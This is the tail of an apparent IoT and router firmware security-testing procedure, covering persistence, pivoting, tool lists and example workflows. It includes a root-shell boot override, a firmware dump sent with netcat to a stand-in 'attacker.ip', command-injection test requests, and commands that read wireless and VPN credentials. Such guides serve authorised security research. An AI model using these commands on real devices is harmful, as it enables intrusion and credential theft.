# Interrupt boot, modify bootargs to spawn shell:
setenv bootargs "init=/bin/sh"
boot
Persistence Mechanisms
Method 1: Modified firmware (persistence via image repack)
# High-level workflow — payload bodies neutralised.
# 1. Extract firmware (binwalk / unblob)
# 2. Add a persistence primitive into the unpacked rootfs:
# - SSH authorized_keys append: >> .../etc/dropbear/authorized_keys
# - Init-script callback: >> .../etc/init.d/rcS
# - Cron entry: >> .../etc/crontabs/root
# The actual key / command line is operator-supplied — see HackTricks
# "Linux Persistence" + PayloadsAllTheThings for working syntax.
# 3. Repack the filesystem:
mksquashfs squashfs-root/ filesystem_modified.squashfs -comp xz
# 4. Rebuild firmware image (format-dependent: TRX, BIN, UIMAGE, ...)
# 5. Upload via the device's update path (web UI, TFTP, OTA channel).
Method 2: Cron job (live device, writable rootfs)
# Pattern: append a periodic callback to /etc/crontabs/root.
# Payload body neutralised. See HackTricks "Linux Persistence → Cron".
mount -o remount,rw /
# echo "<cron schedule> <persistence command>" >> /etc/crontabs/root
sync
Method 3: Init script (boot-time persistence)
# Pattern: append a backgrounded persistence command to /etc/init.d/rcS so it
# re-launches on every boot. Payload body neutralised.
mount -o remount,rw /
# echo "<persistence command> &" >> /etc/init.d/rcS
sync
Post-Exploitation
Network pivoting:
# Use compromised router as pivot point:
# Route traffic through router to access internal network
# Setup SOCKS proxy (if device has netcat/socat):
ssh -D 8080 root@router.ip
# Or use Metasploit pivot:
msfconsole
use post/multi/manage/autoroute
set session 1
run
Extracting sensitive data:
# Wireless credentials:
cat /etc/config/wireless
# Contains WPA/WPA2 passwords
# VPN credentials:
cat /etc/config/vpn
# SNMP community strings:
cat /etc/config/snmpd
# Firmware encryption keys:
find / -name "*.key" -o -name "*.pem"
Tools Reference
Firmware Analysis Tools
| Tool | Purpose | Platform |
|---|---|---|
| binwalk | Firmware extraction, entropy analysis | Linux, macOS |
| unblob | Modern Rust+Python carver/extractor (OnekeyLab) [verify 2026-04-26] | Linux, macOS |
| firmware-mod-kit | Firmware unpacking/repacking — legacy, largely unmaintained [verify 2026-04-26] | Linux |
| jefferson | JFFS2 filesystem extractor | Linux |
| sasquatch | SquashFS extractor (supports all versions) | Linux |
| ubi_reader | UBI/UBIFS filesystem extractor | Linux |
| cramfsck | CramFS extractor | Linux |
| firmware-analysis-toolkit (FAT) | Automated firmware analysis (Firmadyne wrapper) | Linux |
| Firmadyne | Automated firmware emulation — upstream stagnant since ~2020 [verify 2026-04-26] | Linux |
| FirmAE | Automated emulation building on Firmadyne, more reliable bring-up [verify 2026-04-26] | Linux |
| FACT | Firmware Analysis and Comparison Tool | Linux (web-based) |
Hardware Tools
Cost figures below are order-of-magnitude — distributor pricing fluctuates with stock and clone availability [verify 2026-04-26].
| Tool | Purpose | Cost (USD, indicative) |
|---|---|---|
| Bus Pirate (v3 / v4 / v5 "Buspirate 5") | Multi-protocol hardware tool (SPI, I2C, UART, JTAG) | ~$30-80 |
| CH341A | USB SPI flash programmer (3.3V; 1.8V chips need a level shifter) | ~$5-15 |
| XGecu T48 / T56 | Universal programmer (broader chip DB than CH341A); Xgpro Windows software, partial Linux support [verify 2026-04-26] | ~$60-160 |
| FT232 / CP2102 / CH340 | USB to UART adapter | ~$3-10 |
| J-Link (Segger) | JTAG/SWD debugger (ARM); Edu variant restricted to non-commercial use | ~$20 (Edu) - $400+ (Plus/Pro) |
| Black Magic Probe | Open-source ARM JTAG/SWD probe with built-in GDB server | ~$60 |
| ST-Link v2 / v3 | STM32-targeted SWD/JTAG (works as generic SWD via OpenOCD) | ~$3-25 |
| Raspberry Pi | Multi-purpose (SPI programmer, JTAG via OpenOCD, GPIO) | ~$15-90 |
| Logic Analyzer | Protocol analysis (Saleae Logic, DSLogic, Pulseview-compatible) | ~$10 (clone) - $500+ (Saleae Pro) |
| JTAGulator | JTAG pin identification (Joe Grand) | ~$150 |
Emulation & Debugging
| Tool | Purpose |
|---|---|
| QEMU | CPU emulation (ARM, MIPS, PowerPC, RISC-V, etc.) |
| Firmadyne | Automated firmware emulation framework — legacy [verify 2026-04-26] |
| firmware-analysis-toolkit (FAT) | Wrapper for Firmadyne with extra fix-ups |
| FirmAE | Firmadyne-derived emulator with improved boot success rates [verify 2026-04-26] |
| ARM-X | ARM firmware emulation framework |
| unicorn / qiling | Selective binary / OS-emulation frameworks |
| OpenOCD | JTAG/SWD debugging (broad target coverage) |
| probe-rs | Rust-native SWD/JTAG host (ARM Cortex-M, RISC-V) [verify 2026-04-26] |
| GDB-multiarch | Multi-architecture debugger |
Binary Analysis
| Tool | Purpose |
|---|---|
| Ghidra | NSA disassembler/decompiler (ARM, MIPS, PowerPC, AArch64, RISC-V); free [verify 2026-04-26 for current major version] |
| IDA Pro / IDA Free | Commercial disassembler (Hex-Rays); deepest ARM/MIPS coverage [verify 2026-04-26] |
| Binary Ninja | Commercial disassembler (Vector 35); strong scripting and BNIL [verify 2026-04-26] |
| Radare2 / rizin / Cutter | Open-source RE framework (rizin/Cutter is the community fork) |
| angr | Binary analysis framework (symbolic execution) |
Exploitation
| Tool | Purpose |
|---|---|
| Metasploit | Exploitation framework |
| pwntools | Exploit development (Python) |
| Burp Suite | Web application testing |
| Nmap | Network scanning (identify open ports/services) |
Utilities
# Essential command-line tools (Debian 12+/13 trixie, Ubuntu 22.04+/24.04):
sudo apt install \
binwalk \
squashfs-tools \
mtd-utils \
flashrom \
openocd \
qemu-user-static \
qemu-system-arm \
qemu-system-mips \
gdb-multiarch \
device-tree-compiler \
python3-pip \
pipx
# Removed from upstream Debian (do NOT add to install line):
# - firmware-mod-kit : last shipped in Debian stretch; archive-only since 2018 [verify 2026-04-26]
# - cramfsprogs : superseded; cramfs is read by the kernel and `binwalk -e`/squashfs-tools cover the carving path
# Modern Python tooling — install per-user with pipx (Debian 12+ marks system pip externally-managed):
pipx install unblob # modern Rust+Python firmware carver (OnekeyLab) [verify 2026-04-26]
pipx install binwalk # if a newer release than apt's is needed
Practical Workflows
Workflow 1: Router Firmware Analysis
Scenario: Analyze TP-Link router firmware for vulnerabilities.
Step 1: Acquire firmware
wget https://static.tp-link.com/.../ArcherC7v5_us_firmware.bin
Step 2: Extract filesystem
binwalk -e ArcherC7v5_us_firmware.bin
cd _ArcherC7v5_us_firmware.bin.extracted/squashfs-root/
Step 3: Search for vulnerabilities
# Hardcoded credentials:
grep -r "password" etc/
# Web vulnerabilities:
find www/ -name "*.cgi" -exec grep -l "system(" {} \;
# Example: /www/cgi-bin/admin.cgi calls system() with user input
Step 4: Test exploit
# Emulate firmware (Firmadyne or QEMU)
# Access web interface: http://192.168.0.1/
# Test command injection:
curl "http://192.168.0.1/cgi-bin/admin.cgi?cmd=;id"
Step 5: Report vulnerability
# Responsible disclosure to TP-Link
# CVE request
Workflow 2: IoT Camera Firmware Extraction
Scenario: Extract firmware from Wyze camera via UART.
Step 1: Open device, identify UART
# Locate 4-pin header (TX, RX, GND, VCC)
# Use multimeter to identify GND (continuity to USB shield)
Step 2: Connect UART adapter
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND
Step 3: Determine baud rate
# Try 115200 baud:
screen /dev/ttyUSB0 115200
# Press Enter, look for readable output
# If garbage, try other baud rates
Step 4: Access shell
# Power on device, interrupt boot:
# Press Ctrl+C during U-Boot countdown
# Modify boot parameters:
setenv bootargs "init=/bin/sh"
boot
# Now have root shell
Step 5: Dump firmware
# Identify flash partitions:
cat /proc/mtd
# Dump firmware:
dd if=/dev/mtd0 | nc attacker.ip 1234
# On attacker machine:
nc -l -p 1234 > firmware.bin
Workflow 3: Smart Thermostat Privilege Escalation
Scenario: Escalate from web user to root shell.
Step 1: Analyze web application
# Extract firmware, navigate to web root:
cd squashfs-root/www/
# Find authentication mechanism:
grep -r "login" *.php *.cgi
Step 2: Identify command injection
# Vulnerable CGI: /cgi-bin/settings.cgi
# Parameter "temp" is passed to system():
system("echo $QUERY_STRING > /tmp/temp.txt");
# Test injection:
curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;id"
Step 3: Gain shell
# Same injection primitive as Step 2, but the appended command becomes a
# reverse-shell callback. Payload neutralised — defensive/educational scope.
# curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;<URL-encoded reverse-shell>"
#
# Working syntax (architecture-specific): HackTricks → "Reverse Shell Cheatsheet".
# Operator-side listener: nc -l -p <port> (or socat / pwncat-cs / msfconsole multi/handler)
Learning Resources
Documentation
- Binwalk Documentation: https://github.com/ReFirmLabs/binwalk/wiki [verify 2026-04-26]
- unblob Documentation: https://unblob.org/ [verify 2026-04-26]
- OpenWrt Developer Guide: https://openwrt.org/docs/guide-developer/start
- Firmadyne (paper / repo): https://github.com/firmadyne/firmadyne (project site
firmadyne.commay be down [verify 2026-04-26]) - FirmAE: https://github.com/pr0v3rbs/FirmAE [verify 2026-04-26]
- probe-rs: https://probe.rs/ [verify 2026-04-26]
- OWASP IoT Security Project: https://owasp.org/www-project-internet-of-things/
- OWASP Firmware Security Testing Methodology (FSTM): https://github.com/scriptingxss/owasp-fstm [verify 2026-04-26]
Books
- The Hardware Hacker by Andrew "bunnie" Huang
- Practical IoT Hacking by Fotios Chantzis et al.
- Hardware Hacking Projects for Geeks by Scott Fullam
Online Courses
- Hardware Hacking (SANS SEC562)
- eLearnSecurity courses now under INE Security branding (post-2022 acquisition) [verify 2026-04-26] — IoT/embedded tracks moved/renamed.
- Offensive IoT Exploitation by Attify
Practice Labs
- IoT Goat (OWASP): Vulnerable IoT firmware (https://github.com/OWASP/IoTGoat) [verify 2026-04-26]
- Damn Vulnerable Router Firmware (DVRF): https://github.com/praetorian-inc/DVRF [verify 2026-04-26]
- Damn Vulnerable ARM Router (DVAR): Practice firmware exploitation [verify 2026-04-26]
Related SOPs
Analysis:
- Reverse Engineering - Binary analysis and disassembly techniques
- Cryptography Analysis - Firmware encryption and authentication bypass
- Malware Analysis - Malicious firmware component analysis
Pentesting & Security:
- Linux Pentesting - Embedded Linux exploitation
- Mobile Security - Mobile firmware and bootloader analysis
- Vulnerability Research - Finding embedded device vulnerabilities
- Web Application Security - Web interfaces on IoT devices
- Detection Evasion Testing - Bypassing firmware security mechanisms
Engagement governance:
- Legal & Ethics - Authorization, DMCA §1201, CFAA, vendor disclosure
- OPSEC Plan - Lab and account hygiene during firmware research
- Collection Log - Evidence chain-of-custody for extracted dumps and bench captures
- Reporting, Packaging & Disclosure - Embargo, IOC defanging, CVE coordination
Version: 1.1 Last Updated: 2026-04-26 Review Frequency: Quarterly (fast-rot watchlist: emulation harnesses, programmer chip databases, debug-probe tooling, vendor-disclosure pathways)